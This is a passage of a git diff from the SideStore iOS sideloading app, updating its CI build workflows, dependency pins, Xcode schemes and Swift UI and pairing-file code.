- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
@@ -80,32 +40,25 @@ jobs:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
|
||||
- name: Fakesign app
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
run: make fakesign
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
run: make ipa
|
||||
|
||||
- name: Upload Artifact
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
109
.github/workflows/stable.yml
vendored
@@ -2,7 +2,8 @@ name: Stable SideStore build
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- '[0-9]+.[0-9]+.[0-9]+*'
|
||||
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
|
||||
workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -21,60 +22,18 @@ jobs:
|
||||
with:
|
||||
submodules: recursive
|
||||
|
||||
# - name: Cache rust cargo
|
||||
# id: cache-rust-cargo
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-cargo
|
||||
# with:
|
||||
# path: ~/.cargo
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust minimuxer
|
||||
# id: cache-rust-minimuxer
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-minimuxer
|
||||
# with:
|
||||
# path: ./Dependencies/minimuxer/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
# - name: Cache rust em_proxy
|
||||
# id: cache-rust-em_proxy
|
||||
# uses: actions/cache@v3
|
||||
# env:
|
||||
# cache-name: cache-rust-em_proxy
|
||||
# with:
|
||||
# path: ./Dependencies/em_proxy/target
|
||||
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
|
||||
# restore-keys: |
|
||||
# ${{ runner.os }}-build-${{ env.cache-name }}-
|
||||
# ${{ runner.os }}-build-
|
||||
# ${{ runner.os }}-
|
||||
|
||||
- name: Install dependencies
|
||||
run: brew install ldid
|
||||
|
||||
- name: Install rustup
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
target: aarch64-apple-ios
|
||||
- name: Change version to tag
|
||||
run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
|
||||
|
||||
# - name: Create emotional damage
|
||||
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
|
||||
# - name: Build minimuxer
|
||||
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
|
||||
- name: Echo version
|
||||
run: echo "${{ steps.version.outputs.version }}"
|
||||
|
||||
- name: Setup Xcode
|
||||
uses: maxim-lobanov/setup-xcode@v1.4.1
|
||||
@@ -82,39 +41,13 @@ jobs:
|
||||
xcode-version: ${{ matrix.version }}
|
||||
|
||||
- name: Build SideStore
|
||||
run: |
|
||||
xcodebuild -project AltStore.xcodeproj \
|
||||
-scheme AltStore \
|
||||
-sdk iphoneos \
|
||||
archive -archivePath ./archive \
|
||||
CODE_SIGNING_REQUIRED=NO \
|
||||
AD_HOC_CODE_SIGNING_ALLOWED=YES \
|
||||
CODE_SIGNING_ALLOWED=NO \
|
||||
DEVELOPMENT_TEAM=XYZ0123456 \
|
||||
ORG_IDENTIFIER=com.SideStore \
|
||||
| xcpretty && exit ${PIPESTATUS[0]}
|
||||
run: make build | xcpretty && exit ${PIPESTATUS[0]}
|
||||
|
||||
- name: Fakesign app
|
||||
run: |
|
||||
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
|
||||
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
|
||||
run: make fakesign
|
||||
|
||||
- name: Convert to IPA
|
||||
run: |
|
||||
mkdir Payload
|
||||
mkdir Payload/SideStore.app
|
||||
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
|
||||
zip -r SideStore.ipa Payload
|
||||
|
||||
- name: Upload Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore.ipa
|
||||
path: SideStore.ipa
|
||||
|
||||
- name: Get version
|
||||
id: version
|
||||
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
|
||||
run: make ipa
|
||||
|
||||
- name: Get current date
|
||||
id: date
|
||||
@@ -129,10 +62,11 @@ jobs:
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
name: ${{ steps.version.outputs.version }}
|
||||
tag_name: ${{ github.ref }}
|
||||
tag_name: ${{ github.ref_name }}
|
||||
draft: true
|
||||
files: SideStore.ipa
|
||||
body: |
|
||||
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
|
||||
## Changelog
|
||||
|
||||
- TODO
|
||||
@@ -143,3 +77,18 @@ jobs:
|
||||
Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
|
||||
Commit SHA: `${{ github.sha }}`
|
||||
Version: `${{ steps.version.outputs.version }}`
|
||||
|
||||
- name: Add version to IPA file name
|
||||
run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload SideStore.ipa Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
path: SideStore-${{ steps.version.outputs.version }}.ipa
|
||||
|
||||
- name: Upload *.dSYM Artifact
|
||||
uses: actions/upload-artifact@v3.1.0
|
||||
with:
|
||||
name: SideStore-${{ steps.version.outputs.version }}-dSYM
|
||||
path: ./*.dSYM/
|
||||
|
||||
12
.gitignore
vendored
@@ -33,4 +33,14 @@ xcuserdata
|
||||
/.vscode
|
||||
|
||||
## AppCode specific
|
||||
.idea/
|
||||
.idea/
|
||||
|
||||
Payload/
|
||||
SideStore.ipa
|
||||
*.dSYM
|
||||
|
||||
Dependencies/.*-prebuilt-fetch-*
|
||||
Dependencies/minimuxer/*
|
||||
Dependencies/em_proxy/*
|
||||
!Dependencies/**/.gitkeep
|
||||
.nightly-build-num
|
||||
|
||||
8
.gitmodules
vendored
@@ -9,19 +9,13 @@
|
||||
url = https://github.com/libimobiledevice/libusbmuxd.git
|
||||
[submodule "Dependencies/libplist"]
|
||||
path = Dependencies/libplist
|
||||
url = https://github.com/libimobiledevice/libplist.git
|
||||
url = https://github.com/SideStore/libplist.git
|
||||
[submodule "Dependencies/MarkdownAttributedString"]
|
||||
path = Dependencies/MarkdownAttributedString
|
||||
url = https://github.com/chockenberry/MarkdownAttributedString.git
|
||||
[submodule "Dependencies/em_proxy"]
|
||||
path = Dependencies/em_proxy
|
||||
url = https://github.com/jkcoxson/em_proxy
|
||||
[submodule "Dependencies/libimobiledevice-glue"]
|
||||
path = Dependencies/libimobiledevice-glue
|
||||
url = https://github.com/libimobiledevice/libimobiledevice-glue
|
||||
[submodule "Dependencies/minimuxer"]
|
||||
path = Dependencies/minimuxer
|
||||
url = https://github.com/jkcoxson/minimuxer
|
||||
[submodule "Dependencies/libfragmentzip"]
|
||||
path = Dependencies/libfragmentzip
|
||||
url = https://github.com/SideStore/libfragmentzip.git
|
||||
|
||||
@@ -5,9 +5,9 @@
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0.518",
|
||||
"green" : "0.502",
|
||||
"red" : "0.004"
|
||||
"blue" : "175",
|
||||
"green" : "4",
|
||||
"red" : "115"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
@@ -23,9 +23,9 @@
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0.404",
|
||||
"green" : "0.322",
|
||||
"red" : "0.008"
|
||||
"blue" : "150",
|
||||
"green" : "3",
|
||||
"red" : "99"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
#include "Build.xcconfig"
|
||||
|
||||
PRODUCT_BUNDLE_IDENTIFIER = $(ORG_PREFIX).$(PRODUCT_NAME)
|
||||
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
"location" : "https://github.com/SideStore/AltSign",
|
||||
"state" : {
|
||||
"branch" : "master",
|
||||
"revision" : "7e0e7edcf8fbc44ac1e35da3e9030a297aa18b84"
|
||||
"revision" : "cc6189f0f7cd8e5bd24943af9322e0ff9420e9f4"
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -14,8 +14,17 @@
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/microsoft/appcenter-sdk-apple.git",
|
||||
"state" : {
|
||||
"revision" : "8354a50fe01a7e54e196d3b5493b5ab53dd5866a",
|
||||
"version" : "4.4.2"
|
||||
"revision" : "b2dc99cfedead0bad4e6573d86c5228c89cff332",
|
||||
"version" : "4.4.3"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "imobiledevice.swift",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/SideStore/iMobileDevice.swift",
|
||||
"state" : {
|
||||
"revision" : "74e481106dd155c0cd21bca6795fd9fe5f751654",
|
||||
"version" : "1.0.5"
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -50,8 +59,8 @@
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/krzyzanowskim/OpenSSL",
|
||||
"state" : {
|
||||
"revision" : "033fcb41dac96b1b6effa945ca1f9ade002370b2",
|
||||
"version" : "1.1.1501"
|
||||
"revision" : "0faf71a188bcfdf0245cab42886b9b240ca71c52",
|
||||
"version" : "1.1.2200"
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -59,8 +68,17 @@
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/microsoft/PLCrashReporter.git",
|
||||
"state" : {
|
||||
"revision" : "6b27393cad517c067dceea85fadf050e70c4ceaa",
|
||||
"version" : "1.10.1"
|
||||
"revision" : "81cdec2b3827feb03286cb297f4c501a8eb98df1",
|
||||
"version" : "1.10.2"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "semanticversion",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
|
||||
"state" : {
|
||||
"revision" : "a70840d5fca686ae3bd2fcf8aecc5ded0bd4f125",
|
||||
"version" : "0.3.6"
|
||||
}
|
||||
},
|
||||
{
|
||||
@@ -68,8 +86,17 @@
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/sparkle-project/Sparkle.git",
|
||||
"state" : {
|
||||
"revision" : "286edd1fa22505a9e54d170e9fd07d775ea233f2",
|
||||
"version" : "2.1.0"
|
||||
"revision" : "f0ceaf5cc9f3f23daa0ccb6dcebd79fc96ccc7d9",
|
||||
"version" : "2.5.0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"identity" : "starscream",
|
||||
"kind" : "remoteSourceControl",
|
||||
"location" : "https://github.com/daltoniam/Starscream.git",
|
||||
"state" : {
|
||||
"revision" : "ac6c0fc9da221873e01bd1a0d4818498a71eef33",
|
||||
"version" : "4.0.6"
|
||||
}
|
||||
},
|
||||
{
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1420"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
buildImplicitDependencies = "YES">
|
||||
<BuildActionEntries>
|
||||
<BuildActionEntry
|
||||
buildForTesting = "YES"
|
||||
buildForRunning = "YES"
|
||||
buildForProfiling = "YES"
|
||||
buildForArchiving = "YES"
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
|
||||
BuildableName = "MacDirtyCow.framework"
|
||||
BlueprintName = "MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
</BuildAction>
|
||||
<TestAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||
<Testables>
|
||||
</Testables>
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
launchStyle = "0"
|
||||
useCustomWorkingDirectory = "NO"
|
||||
ignoresPersistentStateOnLaunch = "NO"
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
savedToolIdentifier = ""
|
||||
useCustomWorkingDirectory = "NO"
|
||||
debugDocumentVersioning = "YES">
|
||||
<MacroExpansion>
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
|
||||
BuildableName = "MacDirtyCow.framework"
|
||||
BlueprintName = "MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</MacroExpansion>
|
||||
</ProfileAction>
|
||||
<AnalyzeAction
|
||||
buildConfiguration = "Debug">
|
||||
</AnalyzeAction>
|
||||
<ArchiveAction
|
||||
buildConfiguration = "Release"
|
||||
revealArchiveInOrganizer = "YES">
|
||||
</ArchiveAction>
|
||||
</Scheme>
|
||||
@@ -0,0 +1,78 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Scheme
|
||||
LastUpgradeVersion = "1420"
|
||||
version = "1.3">
|
||||
<BuildAction
|
||||
parallelizeBuildables = "YES"
|
||||
buildImplicitDependencies = "YES">
|
||||
<BuildActionEntries>
|
||||
<BuildActionEntry
|
||||
buildForTesting = "YES"
|
||||
buildForRunning = "YES"
|
||||
buildForProfiling = "YES"
|
||||
buildForArchiving = "YES"
|
||||
buildForAnalyzing = "YES">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||
BuildableName = "SideStore MacDirtyCow.app"
|
||||
BlueprintName = "SideStore MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildActionEntry>
|
||||
</BuildActionEntries>
|
||||
</BuildAction>
|
||||
<TestAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES">
|
||||
<Testables>
|
||||
</Testables>
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
|
||||
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
|
||||
launchStyle = "0"
|
||||
useCustomWorkingDirectory = "NO"
|
||||
ignoresPersistentStateOnLaunch = "NO"
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||
BuildableName = "SideStore MacDirtyCow.app"
|
||||
BlueprintName = "SideStore MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
shouldUseLaunchSchemeArgsEnv = "YES"
|
||||
savedToolIdentifier = ""
|
||||
useCustomWorkingDirectory = "NO"
|
||||
debugDocumentVersioning = "YES">
|
||||
<BuildableProductRunnable
|
||||
runnableDebuggingMode = "0">
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
|
||||
BuildableName = "SideStore MacDirtyCow.app"
|
||||
BlueprintName = "SideStore MacDirtyCow"
|
||||
ReferencedContainer = "container:AltStore.xcodeproj">
|
||||
</BuildableReference>
|
||||
</BuildableProductRunnable>
|
||||
</ProfileAction>
|
||||
<AnalyzeAction
|
||||
buildConfiguration = "Debug">
|
||||
</AnalyzeAction>
|
||||
<ArchiveAction
|
||||
buildConfiguration = "Release"
|
||||
revealArchiveInOrganizer = "YES">
|
||||
</ArchiveAction>
|
||||
</Scheme>
|
||||
@@ -217,8 +217,8 @@ final class AppViewController: UIViewController
|
||||
|
||||
self._shouldResetLayout = false
|
||||
}
|
||||
|
||||
let statusBarHeight = UIApplication.shared.statusBarFrame.height
|
||||
|
||||
let statusBarHeight = self.view.window?.windowScene?.statusBarManager?.statusBarFrame.height ?? 0
|
||||
let cornerRadius = self.contentViewControllerShadowView.layer.cornerRadius
|
||||
|
||||
let inset = 12 as CGFloat
|
||||
@@ -323,7 +323,7 @@ final class AppViewController: UIViewController
|
||||
|
||||
self.backButtonContainerView.layer.cornerRadius = self.backButtonContainerView.bounds.midY
|
||||
|
||||
self.scrollView.scrollIndicatorInsets.top = statusBarHeight
|
||||
self.scrollView.verticalScrollIndicatorInsets.top = statusBarHeight
|
||||
|
||||
// Adjust content offset + size.
|
||||
let contentOffset = self.scrollView.contentOffset
|
||||
|
||||
@@ -90,14 +90,21 @@ private extension AppIDsViewController
|
||||
cell.bannerView.button.isUserInteractionEnabled = false
|
||||
|
||||
cell.bannerView.buttonLabel.isHidden = false
|
||||
|
||||
|
||||
let currentDate = Date()
|
||||
|
||||
let numberOfDays = expirationDate.numberOfCalendarDays(since: currentDate)
|
||||
let numberOfDaysText = (numberOfDays == 1) ? NSLocalizedString("1 day", comment: "") : String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
|
||||
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
|
||||
let formatter = DateComponentsFormatter()
|
||||
formatter.unitsStyle = .full
|
||||
formatter.includesApproximationPhrase = false
|
||||
formatter.includesTimeRemainingPhrase = false
|
||||
formatter.allowedUnits = [.minute, .hour, .day]
|
||||
formatter.maximumUnitCount = 1
|
||||
|
||||
attributedAccessibilityLabel.mutableString.append(String(format: NSLocalizedString("Expires in %@.", comment: ""), numberOfDaysText) + " ")
|
||||
cell.bannerView.button.setTitle((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")).uppercased(), for: .normal)
|
||||
|
||||
// formatter.includesTimeRemainingPhrase = true
|
||||
|
||||
// attributedAccessibilityLabel.mutableString.append((formatter.string(from: currentDate, to: expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " ")
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
@@ -8,6 +8,7 @@
|
||||
|
||||
import UIKit
|
||||
|
||||
import minimuxer
|
||||
import AltStoreCore
|
||||
import Roxas
|
||||
|
||||
@@ -264,7 +265,13 @@ private extension BrowseViewController
|
||||
previousProgress?.cancel()
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
_ = AppManager.shared.install(app, presentingViewController: self) { (result) in
|
||||
DispatchQueue.main.async {
|
||||
switch result
|
||||
|
||||
@@ -22,7 +22,7 @@ final class CollapsingTextView: UITextView
|
||||
}
|
||||
}
|
||||
|
||||
var lineSpacing: CGFloat = 2 {
|
||||
var lineSpacing: Double = 2 {
|
||||
didSet {
|
||||
self.setNeedsLayout()
|
||||
}
|
||||
@@ -34,7 +34,19 @@ final class CollapsingTextView: UITextView
|
||||
{
|
||||
super.awakeFromNib()
|
||||
|
||||
self.layoutManager.delegate = self
|
||||
self.initialize()
|
||||
}
|
||||
|
||||
private func initialize()
|
||||
{
|
||||
if #available(iOS 16, *)
|
||||
{
|
||||
self.updateText()
|
||||
}
|
||||
else
|
||||
{
|
||||
self.layoutManager.delegate = self
|
||||
}
|
||||
|
||||
self.textContainerInset = .zero
|
||||
self.textContainer.lineFragmentPadding = 0
|
||||
@@ -108,6 +120,25 @@ private extension CollapsingTextView
|
||||
{
|
||||
self.isCollapsed.toggle()
|
||||
}
|
||||
|
||||
@available(iOS 16, *)
|
||||
func updateText()
|
||||
{
|
||||
do
|
||||
{
|
||||
let style = NSMutableParagraphStyle()
|
||||
style.lineSpacing = self.lineSpacing
|
||||
|
||||
var attributedText = try AttributedString(self.attributedText, including: \.uiKit)
|
||||
attributedText[AttributeScopes.UIKitAttributes.ParagraphStyleAttribute.self] = style
|
||||
|
||||
self.attributedText = NSAttributedString(attributedText)
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("[ALTLog] Failed to update CollapsingTextView line spacing:", error)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
extension CollapsingTextView: NSLayoutManagerDelegate
|
||||
|
||||
@@ -8,6 +8,12 @@
|
||||
|
||||
import UIKit
|
||||
|
||||
extension PillButton
|
||||
{
|
||||
static let minimumSize = CGSize(width: 77, height: 31)
|
||||
static let contentInsets = NSDirectionalEdgeInsets(top: 7, leading: 13, bottom: 7, trailing: 13)
|
||||
}
|
||||
|
||||
final class PillButton: UIButton
|
||||
{
|
||||
override var accessibilityValue: String? {
|
||||
@@ -70,9 +76,7 @@ final class PillButton: UIButton
|
||||
}()
|
||||
|
||||
override var intrinsicContentSize: CGSize {
|
||||
var size = super.intrinsicContentSize
|
||||
size.width += 26
|
||||
size.height += 3
|
||||
let size = self.sizeThatFits(CGSize(width: Double.infinity, height: .infinity))
|
||||
return size
|
||||
}
|
||||
|
||||
@@ -88,6 +92,8 @@ final class PillButton: UIButton
|
||||
self.layer.masksToBounds = true
|
||||
self.accessibilityTraits.formUnion([.updatesFrequently, .button])
|
||||
|
||||
self.contentEdgeInsets = UIEdgeInsets(top: Self.contentInsets.top, left: Self.contentInsets.leading, bottom: Self.contentInsets.bottom, right: Self.contentInsets.trailing)
|
||||
|
||||
self.activityIndicatorView.style = .medium
|
||||
self.activityIndicatorView.isUserInteractionEnabled = false
|
||||
|
||||
@@ -119,6 +125,15 @@ final class PillButton: UIButton
|
||||
|
||||
self.update()
|
||||
}
|
||||
|
||||
override func sizeThatFits(_ size: CGSize) -> CGSize
|
||||
{
|
||||
var size = super.sizeThatFits(size)
|
||||
size.width = max(size.width, PillButton.minimumSize.width)
|
||||
size.height = max(size.height, PillButton.minimumSize.height)
|
||||
|
||||
return size
|
||||
}
|
||||
}
|
||||
|
||||
private extension PillButton
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
<key>ALTPairingFile</key>
|
||||
<string><insert pairing file here></string>
|
||||
<key>ALTAnisetteURL</key>
|
||||
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
|
||||
<string>https://ani.sidestore.io</string>
|
||||
<key>CFBundleDevelopmentRegion</key>
|
||||
<string>$(DEVELOPMENT_LANGUAGE)</string>
|
||||
<key>CFBundleDocumentTypes</key>
|
||||
|
||||
@@ -14,6 +14,8 @@ import minimuxer
|
||||
import AltStoreCore
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
let pairingFileName = "ALTPairingFile.mobiledevicepairing"
|
||||
|
||||
final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDelegate
|
||||
{
|
||||
private var didFinishLaunching = false
|
||||
@@ -79,7 +81,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
} else {
|
||||
// Show an alert explaining the pairing file
|
||||
// Create new Alert
|
||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://youtu.be/dQw4w9WgXcQ", preferredStyle: .alert)
|
||||
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/getting-started/#pairing-file", preferredStyle: .alert)
|
||||
|
||||
// Create OK button with action handler
|
||||
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
|
||||
@@ -125,14 +127,11 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
}
|
||||
|
||||
// Save to a file for next launch
|
||||
let filename = "ALTPairingFile.mobiledevicepairing"
|
||||
let fm = FileManager.default
|
||||
let documentsPath = fm.documentsDirectory.appendingPathComponent("/\(filename)")
|
||||
try pairing_string?.write(to: documentsPath, atomically: true, encoding: String.Encoding.utf8)
|
||||
let pairingFile = FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")
|
||||
try pairing_string?.write(to: pairingFile, atomically: true, encoding: String.Encoding.utf8)
|
||||
|
||||
// Start minimuxer now that we have a file
|
||||
start_minimuxer_threads(pairing_string!)
|
||||
|
||||
} catch {
|
||||
displayError("Unable to read pairing file")
|
||||
}
|
||||
@@ -148,22 +147,20 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
|
||||
}
|
||||
|
||||
func start_minimuxer_threads(_ pairing_file: String) {
|
||||
set_usbmuxd_socket()
|
||||
#if false // Retries
|
||||
var res = start_minimuxer(pairing_file: pairing_file)
|
||||
var attempts = 10
|
||||
while (attempts != 0 && res != 0) {
|
||||
print("start_minimuxer `res` != 0, retry #\(attempts)")
|
||||
res = start_minimuxer(pairing_file: pairing_file)
|
||||
attempts -= 1
|
||||
target_minimuxer_address()
|
||||
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
|
||||
do {
|
||||
try start(pairing_file, documentsDirectory)
|
||||
} catch {
|
||||
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
|
||||
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
|
||||
}
|
||||
#else
|
||||
let res = start_minimuxer(pairing_file: pairing_file)
|
||||
#endif
|
||||
if res != 0 {
|
||||
displayError("minimuxer failed to start. Incorrect arguments were passed.")
|
||||
if #available(iOS 17, *) {
|
||||
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
||||
}
|
||||
else {
|
||||
start_auto_mounter(documentsDirectory)
|
